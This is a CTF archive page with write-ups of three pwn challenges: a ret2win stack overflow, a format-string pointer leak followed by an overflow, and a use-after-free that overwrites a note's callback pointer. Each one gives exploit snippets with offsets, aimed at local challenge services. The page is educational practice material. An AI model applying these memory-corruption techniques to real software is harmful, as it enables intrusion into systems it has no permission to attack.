CTF archive / Pwn

Three small pwn challenges

Three small services, the bugs they expose, and scripts for each solve. The code uses sockets and struct, with no third party modules.

How these scripts are written

All three use the same little endian helpers. The mask keeps values inside an unsigned 64 bit word. u64 is useful when a service sends a pointer as eight raw bytes; these examples print leaks as text.

import struct

p64 = lambda x: struct.pack("<Q", x & 0xffffffffffffffff)
u64 = lambda x: struct.unpack("<Q", x)[0]

Check the offsets in the challenge binary before running a script.

01 / Stack overflow

Gatehouse: a plain ret2win

Gatehouse greets you with main: 0x..., prints entry> , then reads a line into a 64 byte stack buffer. The saved return address is 72 bytes from the beginning of the input. There is no canary; PIE and NX are enabled.

The leak gives the binary base. main is at offset 0x1260, while the flag printing function is at 0x11b9. After 72 filler bytes, I put the calculated address of that function.

main_addr = int(leak.split()[-1], 16)
base = main_addr - 0x1260
win = base + 0x11b9
payload = b"A" * 72 + p64(win) + b"\n"
sock.sendall(payload)
Download gatehouse.pypython3 gatehouse.py 127.0.0.1 31337
02 / Format string + stack overflow

Ledger: a pointer on the stack

Ledger asks for a name, then echoes it with printf(name). Its ninth format argument points into report, at offset 0x1412. A second prompt reads a note into a stack buffer with the return address 88 bytes away.

I ask for %9$p, subtract the known offset, and use the result to find win at 0x11e0. The script waits for the exact prompts so it does not mistake the greeting for the leak.

sock.sendall(b"%9$p\n")
answer = until(sock, b"note> ")
leaked = answer.split(b"hello ", 1)[1].split(b"\n", 1)[0]
base = int(leaked, 16) - 0x1412
sock.sendall(b"B" * 88 + p64(base + 0x11e0) + b"\n")
Download ledger.pypython3 ledger.py 127.0.0.1 31338
03 / Use after free

Rivets: stale notes

Rivets is a text based note service. Each note has 32 bytes of text followed by a preview callback. drop 0 frees note zero but leaves its handle in the table. replace 0 writes into the freed slot; the protocol expects the first 32 bytes as plain text and the callback as 16 hex digits.

The banner reveals preview at offset 0x1350. The hidden reveal callback is at 0x1240. After replacing the callback, show 0 calls it.

base = preview - 0x1350
reveal = base + 0x1240
command(sock, b"new 0")
command(sock, b"drop 0")
command(sock, b"replace 0 " + b"C" * 32 + p64(reveal).hex().encode())
print(command(sock, b"show 0"))
Download rivets.pypython3 rivets.py 127.0.0.1 31339

Each script expects the prompts and offsets described above. Use the matching challenge service when running it.

Night Shift: full client and local service →

← All CTF writeups